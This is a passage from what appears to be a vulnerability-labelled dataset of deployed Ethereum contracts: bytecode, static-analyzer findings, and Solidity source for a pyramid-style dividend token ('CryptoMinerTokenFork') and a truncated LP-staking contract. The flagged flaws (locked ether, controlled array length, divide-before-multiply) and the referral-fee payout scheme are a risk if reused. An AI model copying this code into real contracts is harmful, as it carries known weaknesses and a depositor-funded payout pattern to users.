50217905550565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff169050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612aa05780601f10612a7557610100808354040283529160200191612aa0565b820191906000526020600020905b815481529060010190602001808311612a8357829003601f168201915b505050505081565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b0857600080fd5b6000925060009150612b1984613628565b8093508194505050821515612b2d57600080fd5b60018080549050039050600181815481101515612b4657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600183815481101515612b8057fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600180808054905003815481101515612bdd57fe5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001805480919060019003612c1f919061397f565b5050505050565b60008060008091503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612c8c5760019150612ca2565b60009050612c9933613628565b80925081935050505b811515612cae57600080fd5b600092505b8351831015612cea57612cdd858585815181101515612cce57fe5b90602001906020020151613723565b8280600101935050612cb3565b5050505050565b60606001805480602002602001604051908101604052809291908181526020018280548015612d7557602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311612d2b575b5050505050905090565b6000600260009054906101000a900460ff16151515612d9d57600080fd5b612daa33848460016136d5565b50612e0082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461370a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550612e9b82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015461360a90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b606080600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018180548060200260200160405190810160405280929190818152602001828054801561302257602002820191906000526020600020905b81548152602001906001019080831161300e575b505050505091508080548060200260200160405190810160405280929190818152602001828054801561307457602002820191906000526020600020905b815481526020019060010190808311613060575b5050505050905091509150915091565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060008091503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415613174576001915061318a565b6000905061318133613628565b80925081935050505b81151561319657600080fd5b600085511115156131a657600080fd5b835185511415156131b657600080fd5b6131c08787612d7f565b50600092505b8451831015613215576132088786858151811015156131e157fe5b9060200190602002015186868151811015156131f957fe5b9060200190602002015161106f565b82806001019350506131c6565b50505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561327957600080fd5b6001600960016101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156132f157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561332d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008091503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156134515760019150613467565b6000905061345e33613628565b80925081935050505b81151561347357600080fd5b60001515600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff1615151415156134d557600080fd5b6001600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160006101000a81548160ff021916908315150217905550600192505050919050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018281548110151561358c57fe5b90600052602060002001544210156135ff57600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001828154811015156135ed57fe5b90600052602060002001549050613604565b600090505b92915050565b600080828401905083811015151561361e57fe5b8091505092915050565b60008060008090505b6001805490508110156136c4578373ffffffffffffffffffffffffffffffffffffffff1660018281548110151561366457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156136b757600181925092506136cf565b8080600101915050613631565b600080809050925092505b50915091565b60006136e385858585613818565b508115613702576136f385612683565b831115151561370157600080fd5b5b949350505050565b600082821115151561371857fe5b818303905092915050565b600080600080925060009150600090505b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101805490508110156137fb5783600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101828154811015156137d157fe5b906000526020600020015414156137ee57600192508091506137fb565b8080600101915050613734565b82151561380757600080fd5b6138118583612281565b5050505050565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561385557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561389157600080fd5b82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154101515156138e257600080fd5b811561394b5760001515600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160009054906101000a900460ff16151514151561394a57600080fd5b5b949350505050565b81548183558181111561397a5781836000526020600020918201910161397991906139ab565b5b505050565b8154818355818111156139a6578183600052602060002091820191016139a591906139ab565b5b505050565b6139cd91905b808211156139c95760008160009055506001016139b1565b5090565b905600a165627a7a72305820876bffc25a3ccb8137345f63a56252c53b0d38a0a75a4a2c4ac4eec207a22ea80029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
10,488
0x25e0c624f3f8239ac3932699dc6c2551facbf714
pragma solidity ^0.4.25; /* * [✓] 4% Withdraw fee * [✓] 10% Deposit fee * [✓] 1% Token transfer * [✓] 33% Referal link * */ contract CryptoMinerTokenFork { modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "Crypto Miner Token Fork"; string public symbol = "CMF"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 10; uint8 constant internal transferFee_ = 1; uint8 constant internal exitFee_ = 4; uint8 constant internal refferalFee_ = 33; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; uint256 public stakingRequirement = 50e18; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if (myDividends(true) > 0) { withdraw(); } uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); emit Transfer(_customerAddress, _toAddress, _taxedTokens); return true; } function totalEthereumBalance() public view returns (uint256) { return this.balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if ( _referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2 ) / 1e18); return _etherReceived; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6080604052600436106101105763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461011e57806306fdde031461015157806310d0ffdd146101db57806318160ddd146101f35780632260937314610208578063313ce567146102205780633ccfd60b1461024b5780634b7503341461026257806356d399e814610277578063688abbf71461028c5780636b2f4632146102a657806370a08231146102bb5780638620410b146102dc578063949e8acd146102f157806395d89b4114610306578063a9059cbb1461031b578063e4849b3214610353578063e9fad8ee1461036b578063f088d54714610380578063fdb5a03e14610394575b61011b3460006103a9565b50005b34801561012a57600080fd5b5061013f600160a060020a036004351661060c565b60408051918252519081900360200190f35b34801561015d57600080fd5b50610166610647565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a0578181015183820152602001610188565b50505050905090810190601f1680156101cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e757600080fd5b5061013f6004356106d5565b3480156101ff57600080fd5b5061013f610708565b34801561021457600080fd5b5061013f60043561070e565b34801561022c57600080fd5b5061023561074a565b6040805160ff9092168252519081900360200190f35b34801561025757600080fd5b5061026061074f565b005b34801561026e57600080fd5b5061013f610822565b34801561028357600080fd5b5061013f610879565b34801561029857600080fd5b5061013f600435151561087f565b3480156102b257600080fd5b5061013f6108c2565b3480156102c757600080fd5b5061013f600160a060020a03600435166108c7565b3480156102e857600080fd5b5061013f6108e2565b3480156102fd57600080fd5b5061013f61092d565b34801561031257600080fd5b5061016661093f565b34801561032757600080fd5b5061033f600160a060020a0360043516602435610999565b604080519115158252519081900360200190f35b34801561035f57600080fd5b50610260600435610b3c565b34801561037757600080fd5b50610260610ca8565b61013f600160a060020a0360043516610cd5565b3480156103a057600080fd5b50610260610ce1565b600033818080808080806103c86103c18c600a610d97565b6064610dcd565b96506103d86103c1886021610d97565b95506103e48787610de4565b94506103f08b88610de4565b93506103fb84610df6565b9250680100000000000000008502915060008311801561042557506006546104238482610e8e565b115b151561043057600080fd5b600160a060020a038a161580159061045a575087600160a060020a03168a600160a060020a031614155b80156104805750600254600160a060020a038b1660009081526003602052604090205410155b156104c657600160a060020a038a166000908152600460205260409020546104a89087610e8e565b600160a060020a038b166000908152600460205260409020556104e1565b6104d08587610e8e565b945068010000000000000000850291505b60006006541115610545576104f860065484610e8e565b600681905568010000000000000000860281151561051257fe5b6007805492909104909101905560065468010000000000000000860281151561053757fe5b04830282038203915061054b565b60068390555b600160a060020a03881660009081526003602052604090205461056e9084610e8e565b600160a060020a03808a166000818152600360209081526040808320959095556007546005909152939020805493870286900393840190559192508b16907f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426105d86108e2565b604080519485526020850193909352838301919091526060830152519081900360800190a350909998505050505050505050565b600160a060020a0316600090815260056020908152604080832054600390925290912054600754680100000000000000009102919091030490565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b820191906000526020600020905b8154815290600101906020018083116106b057829003601f168201915b505050505081565b60008080806106e86103c186600a610d97565b92506106f48584610de4565b91506106ff82610df6565b95945050505050565b60065490565b600080600080600654851115151561072557600080fd5b61072e85610e9d565b925061073e6103c1846004610d97565b91506106ff8383610de4565b601281565b600080600061075e600161087f565b1161076857600080fd5b339150610775600061087f565b600160a060020a038316600081815260056020908152604080832080546801000000000000000087020190556004909152808220805490839055905193019350909183156108fc0291849190818181858888f193505050501580156107de573d6000803e3d6000fd5b50604080518281529051600160a060020a038416917fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc919081900360200190a25050565b60008060008060065460001415610840576414f46b04009350610873565b610851670de0b6b3a7640000610e9d565b92506108616103c1846004610d97565b915061086d8383610de4565b90508093505b50505090565b60025481565b60003382610895576108908161060c565b6108b9565b600160a060020a0381166000908152600460205260409020546108b78261060c565b015b91505b50919050565b303190565b600160a060020a031660009081526003602052604090205490565b600080600080600654600014156109005764199c82cc009350610873565b610911670de0b6b3a7640000610e9d565b92506109216103c184600a610d97565b915061086d8383610e8e565b600033610939816108c7565b91505090565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106cd5780601f106106a2576101008083540402835291602001916106cd565b6000806000806000806109aa61092d565b116109b457600080fd5b336000818152600360205260409020549094508611156109d357600080fd5b60006109df600161087f565b11156109ed576109ed61074f565b6109fb6103c1876001610d97565b9250610a078684610de4565b9150610a1283610e9d565b9050610a2060065484610de4565b600655600160a060020a038416600090815260036020526040902054610a469087610de4565b600160a060020a038086166000908152600360205260408082209390935590891681522054610a759083610e8e565b600160a060020a0388811660008181526003602090815260408083209590955560078054948a16835260059091528482208054948c02909403909355825491815292909220805492850290920190915554600654610ae99190680100000000000000008402811515610ae357fe5b04610e8e565b600755604080518381529051600160a060020a03808a1692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060019695505050505050565b6000806000806000806000610b4f61092d565b11610b5957600080fd5b33600081815260036020526040902054909650871115610b7857600080fd5b869450610b8485610e9d565b9350610b946103c1856004610d97565b9250610ba08484610de4565b9150610bae60065486610de4565b600655600160a060020a038616600090815260036020526040902054610bd49086610de4565b600160a060020a03871660009081526003602090815260408083209390935560075460059091529181208054928802680100000000000000008602019283900390556006549192501015610c4457610c40600754600654680100000000000000008602811515610ae357fe5b6007555b85600160a060020a03167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e868442610c7a6108e2565b604080519485526020850193909352838301919091526060830152519081900360800190a250505050505050565b3360008181526003602052604081205490811115610cc957610cc981610b3c565b610cd161074f565b5050565b60006108bc34836103a9565b600080600080610cf1600161087f565b11610cfb57600080fd5b610d05600061087f565b33600081815260056020908152604080832080546801000000000000000087020190556004909152812080549082905590920194509250610d479084906103a9565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080831515610daa5760009150610dc6565b50828202828482811515610dba57fe5b0414610dc257fe5b8091505b5092915050565b6000808284811515610ddb57fe5b04949350505050565b600082821115610df057fe5b50900390565b6006546000906c01431e0fae6d7217caa00000009082906402540be400610e7b610e75730380d4bd8a8678c1bb542c80deb4800000000000880268056bc75e2d631000006002860a02017005e0a1fd2712875988becaad0000000000850201780197d4df19d605767337e9f14d3eec8920e40000000000000001610f09565b85610de4565b811515610e8457fe5b0403949350505050565b600082820183811015610dc257fe5b600654600090670de0b6b3a7640000838101918101908390610ef66414f46b04008285046402540be40002018702600283670de0b6b3a763ffff1982890a8b900301046402540be40002811515610ef057fe5b04610de4565b811515610eff57fe5b0495945050505050565b80600260018201045b818110156108bc578091506002818285811515610f2b57fe5b0401811515610f3657fe5b049050610f125600a165627a7a723058207cae4cda4f0d425782d834f708ea612b729fa42d144757312901d29a36ff11410029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
10,489
0xf92ef0daa55a8a0209946e91c777500565880f7c
pragma solidity 0.6.9; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ // function mod(uint256 a, uint256 b) internal pure returns (uint256) { // require(b != 0, "SafeMath: modulo by zero"); // return a % b; // } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address _owner; /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor (address own) internal { _owner = own; } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function decimals() external view returns (uint8); } interface IUniswapV2Pair { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function token0() external view returns (address); function token1() external view returns (address); } contract SDCPStaking is Ownable { using SafeMath for uint; address private immutable sdcpToken; address private immutable v2Pair; uint8 private immutable sdcpDec; uint constant BASE_EP = 5; uint constant DAY = 60 * 60 * 24; uint constant RATE = 1660000; // uint constant LEAST = 500; constructor(address sdcp , address v2) Ownable(msg.sender) public { sdcpToken = sdcp; sdcpDec = IERC20(sdcp).decimals(); v2Pair = v2; require(IUniswapV2Pair(v2).token0() == sdcp || IUniswapV2Pair(v2).token1() == sdcp, "E/no sdcp"); } struct Staking { uint128 amount; uint32 stakeTime; uint32 earnTime; uint64 stype; } mapping(address => Staking) V2Stakings; mapping(uint => uint) dayPrices; mapping(uint => uint) public earnPercent; function myV2Staking() external view returns (uint128, uint32, uint32, uint64, uint) { return (V2Stakings[msg.sender].amount, V2Stakings[msg.sender].stakeTime, V2Stakings[msg.sender].earnTime, V2Stakings[msg.sender].stype, myV2Earn()); } function stakingV2(uint amount, uint64 stype) external { require(V2Stakings[msg.sender].amount == 0, "E/aleady staking"); require(stype <= 2, "E/type error"); require(IERC20(v2Pair).transferFrom(msg.sender, address(this), amount), "E/transfer error"); V2Stakings[msg.sender] = Staking(uint128(amount), uint32(now), uint32(now), stype); } function wdV2(uint amount) external { Staking memory s = V2Stakings[msg.sender]; uint stakingToal = s.amount; uint stakingTime = s.stakeTime; require(stakingToal >= amount, "E/not enough"); if(s.stype == 1) { require(now >= stakingTime + DAY, "E/locked"); } else { require(now >= stakingTime + 30 * DAY, "E/12 locked"); } wdV2Earn() ; IERC20(v2Pair).transfer(msg.sender, amount); if(stakingToal - amount > 0) { V2Stakings[msg.sender] = Staking(uint128(stakingToal - amount), uint32(now), uint32(now), s.stype); } else { delete V2Stakings[msg.sender]; } } function myV2Earn() internal view returns (uint) { Staking memory s = V2Stakings[msg.sender]; if(s.amount == 0) { return 0; } uint endDay = getDay(now); uint startDay = getDay(s.earnTime); if(endDay > startDay) { uint earnDays = endDay - startDay; uint earnPs = earnDays * BASE_EP; while(endDay > startDay) { if(earnPercent[startDay] > 0) { earnPs += earnPercent[startDay]; } startDay += 1; } uint earns = 0; if(earnPs > 0) { earns = uint(s.amount).mul(earnPs).mul(RATE).div(1000).div(10 ** (uint(18).sub(sdcpDec))); } if(s.stype == 2) { return earns * 2; } else { return earns; } } return 0; } function wdV2Earn() public { uint earnsTotal = myV2Earn(); IERC20(sdcpToken).transfer(msg.sender, earnsTotal); V2Stakings[msg.sender].earnTime = uint32(now); } // 